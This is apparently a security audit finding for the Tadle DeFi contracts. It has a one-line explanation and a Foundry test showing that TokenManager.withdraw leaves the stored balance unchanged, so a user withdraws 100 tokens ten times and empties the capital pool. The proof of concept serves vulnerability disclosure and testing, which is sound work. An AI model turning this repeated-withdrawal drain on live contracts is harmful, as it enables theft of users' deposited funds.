Since caller's balance is unchanged and the logic reads from the stored value on each call, a user can withdraw the same amunt multiple times, thus withdrawing more amount than even deposited via the related contracts.
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {OfferStatus, StockStatus, AbortOfferStatus, OfferType, StockType, OfferSettleType} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract TokenManagerTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarkets;
DeliveryPlace deliveryPlace;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address user = vm.addr(1);
address user1 = vm.addr(2);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR =
bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(user1);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarketsLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(
INITIALIZE_OWNERSHIP_SELECTOR,
user1
);
vm.startPrank(user1);
address systemConfigProxy = tadleFactory.deployUpgradeableProxy(
1,
address(systemConfigLogic),
bytes(deploy_data)
);
address preMarketsProxy = tadleFactory.deployUpgradeableProxy(
2,
address(preMarketsLogic),
bytes(deploy_data)
);
address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(
3,
address(deliveryPlaceLogic),
bytes(deploy_data)
);
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(
4,
address(capitalPoolLogic),
bytes(deploy_data)
);
address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(
5,
address(tokenManagerLogic),
bytes(deploy_data)
);
vm.stopPrank();
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarkets = PreMarktes(preMarketsProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
vm.startPrank(user1);
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
deal(address(mockUSDCToken), user, 100000000 * 10 ** 18);
deal(address(mockPointToken), user, 100000000 * 10 ** 18);
deal(user, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
deal(address(mockPointToken), address(capitalPool), 1000 * 10 ** 18);
deal(address(mockUSDCToken), address(capitalPool), 1000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
capitalPool.approve(address(mockUSDCToken));
}
function test_withdrawMoreThanDeposited() public {
vm.startPrank(address(preMarkets));
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
user1,
address(mockUSDCToken),
100e18
);
vm.stopPrank();
uint user1TokenBalBeforeDrain = mockUSDCToken.balanceOf(user1);
uint balbefore = mockUSDCToken.balanceOf(user1);
vm.prank(user1);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
assertEq(mockUSDCToken.balanceOf(user1) - balbefore, 100e18);
for (uint256 index = 0; index < 9; index++) {
vm.prank(user1);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
}
uint userBalInTokenManager = tokenManager.userTokenBalanceMap(
user1,
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
uint user1TokenBalAfterDrain = mockUSDCToken.balanceOf(user1);
assertEq(user1TokenBalAfterDrain - user1TokenBalBeforeDrain, 1000e18);
assertEq(userBalInTokenManager, 100e18);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 0);
}
}